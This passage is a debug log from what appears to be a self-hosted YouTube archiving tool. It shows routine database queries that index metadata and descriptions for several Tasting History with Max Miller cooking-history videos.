https://www.flickr.com/photos/thearma..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Feeding A Roman Centurion - Pork & Puls", "0f12fcad-eac3-4b18-abd3-236f2decaf28", "1fDKx1CgcXs", "https://www.youtube.com/watch?v=1fDKx1CgcXs", false, false, 13, "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].NA", false, false, 3, [], 98, ~U[2025-12-30 00:00:00Z], ~U[2026-03-30 06:51:34Z], ~U[2026-03-30 06:51:34Z], "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearma..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Feeding A Roman Centurion - Pork & Puls", "1fDKx1CgcXs", "https://www.youtube.com/watch?v=1fDKx1CgcXs", nil, false, "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].NA", false, 3, ~U[2025-12-30 00:00:00Z]] 02:51:34.947 [debug] QUERY OK source="sources" db=0.2ms idle=251.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:34.948 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:34.948 [debug] QUERY OK source="media_items" db=0.2ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5927] 02:51:34.948 [debug] Current batch of media processed. Will check again in 1000ms 02:51:35.949 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthony..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15...\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].NA", "id" => "MO0lKDNKxmE", "original_url" => "https://www.youtube.com/watch?v=MO0lKDNKxmE", "playlist_index" => 14, "title" => "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "upload_date" => "20251223"} 02:51:35.950 [debug] QUERY OK source="sources" db=0.2ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:35.950 [debug] QUERY OK source="sources" db=0.1ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:35.952 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-23 00:00:00Z], 3] 02:51:35.954 [debug] QUERY OK source="media_items" db=1.3ms idle=1003.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthony..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15...\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "6810bcab-faeb-4fc8-ba13-e634501187ab", "MO0lKDNKxmE", "https://www.youtube.com/watch?v=MO0lKDNKxmE", false, false, 14, "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].NA", false, false, 3, [], 98, ~U[2025-12-23 00:00:00Z], ~U[2026-03-30 06:51:35Z], ~U[2026-03-30 06:51:35Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthony..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15...\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "MO0lKDNKxmE", "https://www.youtube.com/watch?v=MO0lKDNKxmE", nil, false, "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].NA", false, 3, ~U[2025-12-23 00:00:00Z]] 02:51:35.954 [debug] QUERY OK source="sources" db=0.2ms idle=256.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:35.954 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:35.955 [debug] QUERY OK source="media_items" db=0.2ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5447] 02:51:35.955 [debug] Current batch of media processed. Will check again in 1000ms 02:51:36.956 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hz...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].NA", "id" => "0XHVOnKrk0I", "original_url" => "https://www.youtube.com/watch?v=0XHVOnKrk0I", "playlist_index" => 15, "title" => "Chocolate Wine from 1723", "upload_date" => "20251219"} 02:51:36.957 [debug] QUERY OK source="sources" db=0.2ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:36.957 [debug] QUERY OK source="sources" db=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:36.959 [debug] QUERY OK source="media_items" db=1.5ms idle=1002.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 00:00:00Z], 3] 02:51:36.961 [debug] QUERY OK source="media_items" db=2.0ms idle=1004.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hz...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Chocolate Wine from 1723", "b9c066fb-6140-4b10-9bfd-5000239b4767", "0XHVOnKrk0I", "https://www.youtube.com/watch?v=0XHVOnKrk0I", false, false, 15, "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].NA", false, false, 3, [], 98, ~U[2025-12-19 00:00:00Z], ~U[2026-03-30 06:51:36Z], ~U[2026-03-30 06:51:36Z], "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hz...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Chocolate Wine from 1723", "0XHVOnKrk0I", "https://www.youtube.com/watch?v=0XHVOnKrk0I", nil, false, "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].NA", false, 3, ~U[2025-12-19 00:00:00Z]] 02:51:36.962 [debug] QUERY OK source="sources" db=0.1ms idle=262.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:36.962 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:36.963 [debug] QUERY OK source="media_items" db=0.2ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5174] 02:51:36.963 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - \u00A0\u00A0\u00A0•\u00A0From\u00A0Guerrilla\u00A0Fighter\u00A0to\u00A0U.S.\u00A0Citizen:\u00A0Ma...\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].NA", "id" => "g3IAXRkyl1s", "original_url" => "https://www.youtube.com/watch?v=g3IAXRkyl1s", "playlist_index" => 16, "title" => "World War 2 Mincemeat Pie for the Battle of the Bulge", "upload_date" => "20251216"} 02:51:36.963 [debug] QUERY OK source="sources" db=0.3ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 